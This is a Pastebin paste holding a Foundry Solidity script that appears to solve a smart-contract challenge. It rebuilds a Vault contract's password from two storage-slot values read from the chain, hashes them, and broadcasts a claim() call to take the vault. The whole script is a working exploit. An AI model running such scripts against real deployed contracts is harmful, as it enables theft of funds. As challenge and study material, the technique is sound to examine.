Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // SPDX-License-Identifier: UNLICENSED
- pragma solidity ^0.8.13;
- import {Script} from "forge-std/Script.sol";
- import {Vault} from "../src/Vault.sol";
- contract VaultScript is Script {
- address vault = 0x9520E31E58D21C74AF2f0e3FF0076a8Ce1ECb0Fc;
- Vault vaultInstance;
- uint256 hashedPassword;
- uint256 slot0 = uint256(0x00000000000000000000000000000000000000000000000000000000677d6abb);
- uint256 slot1 = uint256(0x000000000000000000000000000000000000000000000000000000003fdfedb5);
- function setUp() public {
- hashedPassword = uint256(keccak256(abi.encode(slot1 + slot0)));
- vaultInstance = Vault(payable(vault));
- }
- function run() public {
- vm.startBroadcast();
- vaultInstance.claim(hashedPassword);
- vm.stopBroadcast();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement